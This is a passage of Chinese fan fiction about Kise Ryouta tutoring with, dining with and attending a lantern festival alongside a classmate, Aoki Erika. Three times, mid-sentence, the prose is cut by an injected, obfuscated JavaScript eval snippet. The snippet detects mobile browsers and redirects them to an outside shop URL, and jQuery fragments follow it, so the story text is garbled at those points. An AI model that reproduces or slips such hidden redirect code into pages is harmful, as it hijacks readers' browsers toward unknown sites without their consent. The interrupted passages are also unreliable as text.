在这个过程里,我将重点整体地按照脉络梳理复习了一遍,并按照这个脉络写了一份复习的提纲,找了离这里最近的一家能打印的店复印了一份。 原件我留着,而复印件自然是给了黄濑凉太。 我们的考试是从下周一开始,持续一整周。上午是正常上课,下午是考试。考试的这一周放学会比往常早,正常来说会到四点半,之后是社团。但考试只到三点半或者四点。 所以在每场考试之前完全来得及整体过一遍。 海常高中月考的难度比起期中来说难一些,但比期末要简单,目的是为了让我们掌握这一段时间学习的知识点,所以必然会出现“交给你一个菜的做法,但考满汉全席”的情况。 然而实际上仔细去拆解那些满汉全席的题就会发现,本质上还是最初那盘菜,只是变了一些细微的地方罢了。 这些改变了细微之处的变体题是不能从整体脉络的复习中掌握的,还是要在具体题目的出法中掌握。不过这肯定是平常学习中逐渐积累的,考前想要突击,就只能押题。 不过好在我有向学长学姐们要过往年的卷子,再根据老师平常上课重点强调的部分,我对押题也还算有些心得。 所以这也是补习的一部分。 在他因为题目而苦恼的时候,我偶尔也会看一眼,实在做不出来再开口。 这场补习在五点半的时候结束——因为我们俩都饿了。 黄濑凉太说他定了居酒屋的个室包厢,于是我们乘车去了他说的那家店。 正是吃饭的点,店门口排起了长队。见状,黄濑凉太跟我嘀咕还好提前预定了包厢。核对过预约记录之后,我们在一众排队的人的目光中被服务人员带到了包厢里。 在榻榻米上坐下来之后,黄濑凉太很绅士地将菜单递给了我,让我先点。 我浏览了一遍所有的菜品。我并不是挑食的人,在食物的喜好上很少有明确的不吃的东西。 刚好,这家店我也是头一次来,也不清楚菜品的口味,于是看来看去,最后选择点了他们家的季节招牌秋刀鱼——现在是九月底,也确实是秋刀鱼正新鲜肥美的时候。 甜点上,我选择了栗子蒙布朗。 黄濑凉太接过菜单,也点了他想点的东西。我探头看了眼,看见了洋葱奶油汤。 “……?”这家居酒屋里怎么还有这个? 不应该是茶泡饭啦关东煮那些的吗? 我又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122413|195279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻了一遍菜单,这才发现我刚才没仔细看,还真有这道菜。不光有这道菜,还有其他一些别的居酒屋没有的菜品。 原来这是一家混合餐种居酒屋。 点完餐,服务生给我们了一个沙漏,说一定在沙漏倒完前给我们把菜上齐,然后鞠了一躬,拉上门出去了。 包厢里就剩下了我们两个人。 密闭性极好的个室隔绝了外面绝大多数嘈杂的声音,对比起来显得室内格外安静。 在这种密闭的环境下,除了自己以外的另一个人的存在感就被放大了许多。 尤其是,这是一个异性。一个将近一米九,无论是身材还是颜值都格外出色的异性。 而经过这快一个月的相处,我很清楚,黄濑凉太平常跟女生相处的时候有在刻意去收敛身高和表情的压迫感,这也是为什么他总是会表现出诸如“卖萌”和笑得很二哈的原因之一。 但在这种密闭的、隐私性极高的二人空间里,这种被弱化了的压迫感重新占据了第一印象。 而我很清楚,在他被衬衫包裹之下的、这宽肩窄腰富有爆发力的身躯,肌肉的线条走向是很流畅凝实的。 我突然感到紧张起来,神经微微绷紧。 黄濑凉太支着头,左手拿着炭笔在菜单上戳了戳:“没想到小青木会点秋刀鱼唉。” 我回过神:“嗯?你很讨厌这个吗?” “秋刀鱼的话倒是还好啦,我其实是讨厌鳗鱼——之前有被卡到过的经历。所以说鱼为什么不能是没卡的。” 他一边嚷嚷着一边头栽倒在另一条胳膊上,像一株植物找到了水,“扑通”一声栽进去,然后不动了。 “那没办法啊,鱼不可能一点卡没有。”我说。 “果然我还是讨厌鱼。” 我被他拖长的语调给逗笑,不知不觉间放松下来。 — 服务员果然在沙漏全部倒完之前上齐了菜品。 我原本以为甜点是那种小份的,结果一上来,我发现它根本不是我一个人能吃完的量。 怎么菜单上完全不告诉我这其实是巨无霸的大小啊! 迫不得已,我向黄濑凉太求助,请他帮忙一起办掉这道甜品,为此还特地追加了一个勺子。 吃过晚饭,我们从店里出来,发现外面的人居然比之前还要多。排队的人们交谈着,兴奋地在说着什么。 具体说的话我并没有完全听见,但我捕捉到了其中的一些关键词。 比如“点灯活动”。 我摸不着头脑,一头雾水地回忆了一下,和黄濑凉太走出去了好一会儿,反应过来他们说的是什么。 近年来节日的气氛比起往年要寡淡得多,但有些庆祝的活动却还一直举办着,点灯活动就是其中之一。 点灯活动的举行是为了庆祝“芋明月”,也就是所谓的中秋十五,是从种花家传来的,本地也流传了很多个朝代的节日。 我点开INS,果然已经有很多人发了相关的帖子。 点灯的活动在晚上九点半,在那之前到达的人都可以买一盏灯。随灯还会附送一个小纸条,可以在里面写上愿望。 然后到了九点半,大家一起在河边的街道上将它点起升上天空。 我对这个活动有点心动。 现在是晚上七点三十二分,距离活动还有两个小时,正好点灯活动的现场还有许多流动商贩开了些店。在INS上我看见很多人分享了。 什么射击套圈、捞金鱼等等之类的,还有夜宵。 于是我喊了黄濑凉太一声,在他转头看过来之后晃着手机提出了,我想去参见这个点灯活动的事情,问他要不要一起来。 他愣了下,凑近看了看我手机上点开的大图,旋即露出恍然大悟的表情。 “怎么了?” 注意到他的表情,我询问道。 “没什么。” 黄濑凉太挠了挠头,生硬地转移了话题。 我有点困惑地扫了他一眼,目光在他发红的耳朵上停了下,识趣地没有往下追问。 10.010 010. 得知自己考不及格就不能进正选的时候,黄濑凉太感觉天都要塌了。 所有的科目里面,只有体育是他完全不用操心的,然后就是相对好一点的科目吧,比方说英语和音乐。 而其他的,诸如国语、社会、数学、理科之类的,实在不是他的强项。 在帝光的时候,其实也有这样的要求,但那个时候他可以连哭带卖惨地向小黑子求助,要么去找小桃井要往年的卷子。 最重要的是强硬如赤司队长根本不会允许他因为这种事情打不了比赛,以至于不管怎么样他都会被逼着学一把。 但上了海常之后…… 这一个月好像稍微有点得意忘形了.JPG 不是报应不到,而是时候未到,此刻黄濑凉太亲身体会了这句话。 好在天无绝人之路。 在黄濑凉太悲伤地连发好几条消息给学长也没得到回复之后,他一拍手机,愤而求助青木绘里花。 哼。都不理他是吧。 那他去求助同年级的学霸了。 原本黄濑凉太是没有打算找青木绘里花帮忙的。作为在年级里十分出名的风云人物之一,许多少女心中的男神,为月考及格而发愁这件事说出去,多少是有点尴尬和丢脸的。 在青木绘里花这个学霸和很多男生心目中的女神面前主动提,就更丢脸了。 好在是隔着一层屏幕,而不是面对面,这多少给了他一点心理安慰。 对面的人没什么犹豫,脾气很好地答应了他。黄濑凉太十分感动,感觉眼前出现了明亮的曙光。 很快他就发现,这何止是曙光的程度。 青木绘里花在这方面简直是太阳—— 两个字,权威。 虽说是补习,但因为黄濑凉太自己没底,也不能很精准地说出自己哪里不会。 因为这个,在帝光的时候帮他补习的那几位,包括赤司、黑子、绿间,基本上都会很生气,尤其是小赤司,表情会变得很可怕。 黄濑凉太做好了对面打出“……”和“这个我也没办法”的准备,然而小青木却没有继续问,也没有对此发表任何看法,而是干脆直接将他需要带的东西告诉他,之后还让他拍一下他平时的作业。 最后告诉了他见面的地点和时间。 整个商讨的过程很快速简练,没有什么废话和情绪化的表达。黄濑凉太以前卖惨卖出来的经验完全用不上。 这让他十分意外。 更意外地是非常难得的,小青木展现出了和平时完全不一样的强势。 黄濑凉太感到有些新奇。刚认识的时候,小青木对他很抗拒,害得他以为自己是干了什么伤天害理的事情导致人害怕他。 后来不知道为什么,她的态度逐渐软化了。黄濑凉太很明显地感觉到了这个变化,但直到现在也没有找到原因。 这话单独拎出来可能有些变态,但黄濑凉太实实在在的,在开学以后一直有在关注青木绘里花这个人。 从她各方面都很优秀的成绩、到听说她加入了摄影部,到她作为国文课代表站在讲台上介绍……再到说话的习惯,等等之类的。 一开始或许是因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122414|195279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不解她的行为,但后来更像是一种习惯性的观察。 作为拥有“perfect copy”技能的人,很多人都觉得黄濑凉太在打篮球的时候观察人非常细致,是一种下意识和刻意锻炼的结果。 但观察这件事,对于黄濑凉太来说更像是一种天生的、本能。 只是原本这本能为他所用,是为了更快达到目的和挑战自己,比方说赢得比赛,比方说更加高效地完成拍摄。 但观察青木绘里花不属于上面任何一种。 只是单纯地观察。 不是本能在运作,而是好奇心在朝夕相处中发酵,逐渐成为了习惯。 补习这天,黄濑凉太上午早早地起床。他根据小青木发的消息核对完了自己带的东西没有遗漏之后,去洗了个澡,然后对着选什么衣服出门挑选了很久。 久到他的姐姐喊他吃饭他没听见,于是上来猛地拍他房门,站在门口翻了个白眼问他在干嘛。 看见他瘫了一床的衣服,他姐琢磨了一下,问他是不是交女朋友了,这是打算孔雀开屏上哪去? 黄濑凉太再三解释,不是,他就是出去补个习。 然而无论他怎么说,姐姐都用“你看我是个傻子吗”的表情看他,于是他干脆放弃了解释。 其实黄濑凉太自己也没搞懂自己在干什么,昨晚睡觉前也没这么难以抉择……不,应该说甚至都没想到衣服的事。 可是临到早上,他突然就觉得这件也不对,那件也不对了。 最后出门的时候,黄濑凉太选择了之前上私服节目的时候穿的一套衣服。 11.011 011. 一路赶急赶忙,到咖啡厅的时候黄濑凉太却不自觉放缓了脚步。 隔着玻璃,他一眼就看见了里面坐着的人。 大概是店里开着空调的缘故,青木绘里花脱下了外套,棕色的夹克规规整整地搁在椅背上。 她穿了件米白色的衬衫,和一件蓝色的牛仔裤。头发被精心地打理过,和往常在学校高高扎起的双马尾不一样,今天她的发型是低垂的双环编发。 她一手捧着咖啡杯,一手握着笔,露出的半张脸沉静而认真。发尾的蝴蝶结装饰便在动作间轻盈起舞。 黄濑凉太有些走神,过了一阵才站在窗外给她发了条“我到了”的消息,推开门走进咖啡店。 * 原先的计划,是到晚饭结束的。 本来应该是这样的——毕竟他已经占了小青木半天的时间给他补习——所以当青木绘里花提出去参加点灯活动的时候他有些惊讶。 完全没有犹豫地,黄濑凉太一口答应了下来。 晚上九点半这个时间点,虽然说去的并不是人很少的地方,但最好还是有人陪同而不是单独一个人会比较好。 最最重要的是,今天是他要补习才把人拉出来的,所以不管怎么说,黄濑凉太认为自己应该绅士一点。即使是意外出现的安排,提前走掉也显得过于冷漠无情了。 思考了这么一大堆,可实际上,答应的时候黄濑凉太根本没有想那么多,只是面对着拉住他凑过来说话的青木绘里花,婉拒的话到了嘴里不知道怎么,就有些说不出口。 离九点半还早,从居酒屋出来步行到点灯活动的现场需要的时间也不过半个小时,索性便不打车直接走路过去。 “点灯活动”在社交媒体上发酵很快,等黄濑凉太和青木绘里花到达活动现场的时候,发现广场上几乎全是人。 人手持着一盏灯,要么站着同朋友聊天,要么转身去旁边的路上逛街。 两人各自买了一盏灯,商量了一番,决定先逛一会儿。 为了不让等待在现场的人太无聊,沿河的这条街向流动商贩展开了怀抱,各式各样的摊位在道路两旁延伸到很远。 每个摊铺都在铺子顶上挂着两盏灯,左边一个右边一个,明黄的灯光便连成一片。加上行人手中的灯,一眼望去,灯火通明。 就是可惜,绝大多数商贩都卖吃的,而两个人刚吃完,都没有胃口再去品尝这些美食。 最终两个人只好跑到捞金鱼的摊位前,一人买了五个网蹲在金鱼池旁捞金鱼。 小青木蹲在他的右手边,右手握着纸网,表情凝重,似乎在观察捞鱼的最佳时机,脸上一副如临大敌的样子。 然后下一秒,她快速地伸手一捞—— “啪!” 网破了,金鱼从网中掉回池塘中,惊吓地飞速游走了,溅起的水花还差点打到她的衣服上。 小青木的脸色有点黑,但没放弃,又拿出一根新的纸网,虎视眈眈地看着游来游去的金鱼。 ……然后又失败了。 两次都没捞上来,面前的人表情肉眼可见地郁闷,但并没有放弃。 这一次,她干脆就着蹲下来的姿势微微直起身,将剩下来的三只纸网都放到大腿上,随后一手拿出一只,两只纸网一起上。 依旧先前的捞法,只是这次,在网破的瞬间,她左手的纸网也伸了出去,接在上面的网之下。两张网隔得很近,金鱼从上面的网落到了下面,随后下面的网也破了,金鱼又落回了水里。 黄濑凉太目睹了这一切,偏过头没忍住笑了下。 “……黄濑君,你很会捞金鱼吗?” 显然,身边的人听见了他这一声笑,因而语气特别幽怨。于是黄濑凉太只好努力憋住不笑。 再回头,他就看见青木绘里花仿佛自暴自弃一样拿出了最后一个网,随后一捞。 这一次,她捞到了。 但因为青木绘里花呆住的原因,最后纸网还是破了。 青木绘里花的表情有些懊悔,但五个纸网都已经用完,懊悔也没有用了。她拍拍手站起来,准备给黄濑凉太让位置。 黄濑凉太看看自己手中的五个纸网,又看了看青木绘里花蔫蔫的表情,试探问道:“小青木还想捞吗?我的网分给你两个?” 两个人用光了剩下来的五个网,很遗憾的是两人都是菜鸡,一个金鱼也没捞上来,花的钱全都打了水漂。不过好消息是他们不同更多的钱了——捞金鱼的这么一会工夫,时间不知不觉到了九点。 下午的时候,黄濑凉太觉得时间过得很慢。 题目做不出来、转着笔头抓耳挠腮的时候总是忍不住看时间,但每次以为自己耗在这上面的时间已经很久了的时候,结果总是只过去了几分钟。 但晚上的这会儿,时间的流速好像被拉快了,不再是一倍速,而是1.5甚至2倍速。还没意识到呢,一个小时的时间居然就这样过去了。 他忽然有些失望和遗憾。 往广场那个方向走回去的人流多了起来,甚至到了稍微有些拥挤的地步。 走了片刻,黄濑凉太感觉到自己的袖子被扯住了。 他偏过头。 刚刚还走在他身边的青木绘里花不知道什么时候落了他一截,磕磕撞撞地被人流推挤着往前。她的一只手拉住了他的衣袖,似乎是想借着这微弱的锚点不被挤散。 然而人实在很多,小小的一片衣袖实在承担不起这样的重任,抓着他衣袖的指尖绷得很紧,用力到有些泛白。 * 我预料到点灯活动的现场人肯定很多,但我没想到有这么多。 也许是接近规定时间的原因,这条街上的绝大多数人都没有再逛了,一股脑全往广场走。我一开始还能跟黄濑凉太走在一排,但很快我被人群分流开来,与他越来越远,距离拉开了一大截。 眼见要被彻底挤开,而我的左手又还提着灯,我便来不及细想,伸出右手攥住了黄濑凉太的衣袖。 借着他的衣袖,我努力从人流中钻出来——最好跑到黄濑凉太身后。他个子高,又气势强,往前走根本没人去挤他,都乖乖地分流留出空隙。 但衣袖就是不靠谱,虽然我在努力了,但因为还要护着灯,我始终很艰难地在走,而且依旧被挤着。 正当我要放弃的时候,我忽然感到有人覆上了我的手。 我猛地一抬头,同黄濑凉太的视线正好对上。 他朝我眨了眨眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132089|195279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随后,一只温热而粗糙的手牵住了我的手,带着茧子的掌心与我的手背贴合在一起。我刚因为截然不同的触感而不自觉地抖了抖,他便牵着我,把我从人流中解救了出来。 随后,他松开了手,改拉住了我的胳膊,带着我往前走。 我还没从刚才的情况里反应过来,手背上的触感和温度尚未消散,然而冷空气已经激起了一阵鸡皮疙瘩。心里七上八下乱糟糟打成了结。 片刻后,我才憋出一句很没营养的谢谢。 然而周遭的声音太过于嘈杂,我的话音太小了,以至于彻底淹没在了喊声、交谈声、抱怨声的汪洋里。 我想他肯定没听见,因为他没有任何表示,依旧拉着我往前走。 到了广场,前排靠河的地方已经完全被占领。黄濑凉太干脆带着我在边缘的位置停下。 他转过身,一直拉着我胳膊的左手也随之松开。 因为刚刚的插曲,我们俩一时间谁也没有开口说话。我看了看他,在灯光的映照下,他半张侧脸显得有些红,耳朵更是红得很明显。 气氛好像有点奇怪,我只好低头看时间。 这一看,我发现离点灯的时间竟然只剩下两分钟了。 这下我也顾不上隐约奇怪的气氛,立刻抬起了我之前一直提着的灯。 每一盏灯里都有一个小空档,这个小空档里可以放一张纸条。纸条上可以写自己的愿望或者祝福。 在买灯的时候,我和黄濑凉太都已经写好了自己的祝愿。 “黄濑君,还剩两分钟了!”我说着,点开了手机时针,默默数着倒计时。 十、九、八、七、六、五…… 四。 三。 二。 一。 随着时间来到九点半的那一刻,我点燃灯内部的芯,小而明亮的火焰燃起,我松开手,抬头看着灯缓缓升空。 无数的灯在这一刻被不同的人升起,连绵不绝的灯浩浩荡荡地组成了震撼的景象。 我注视着我的那盏灯上升、再上升,最后在一个恍神间,融入无数交错升起的灯中,再无法分辨。 — 热闹过后,只留一片冷清。 在点灯活动结束后,人们陆陆续续地离开,我也在站台口同黄濑凉太告别。 “明天就是考试了。加油啊黄濑君,你肯定能过的。”我比了个加油的动作,在公交车上同他挥手。 他回以我一个欲哭无泪“我努力”的神情。 我笑出声。 …… 一个星期后,考试周正式结束。 结果被布告在了公告栏,贴在教室走廊的墙上。 ——按照排名。 我也拿到了我自己的成绩条,在成绩条的最后写着名次和总分。很幸运,我这次拿到了第一。 班级的、和年级的。 而黄濑凉太则每一门都通关了,教练同意了他的申请书,让他成为了篮球队的正式队员之一。黄濑凉太同我分享了这个好消息,我发了个“恭喜”和“看我说你可以的吧”的表情给他。 不过考试虽然结束了,另一件事情却被提上了日程。 那就是[学园祭]。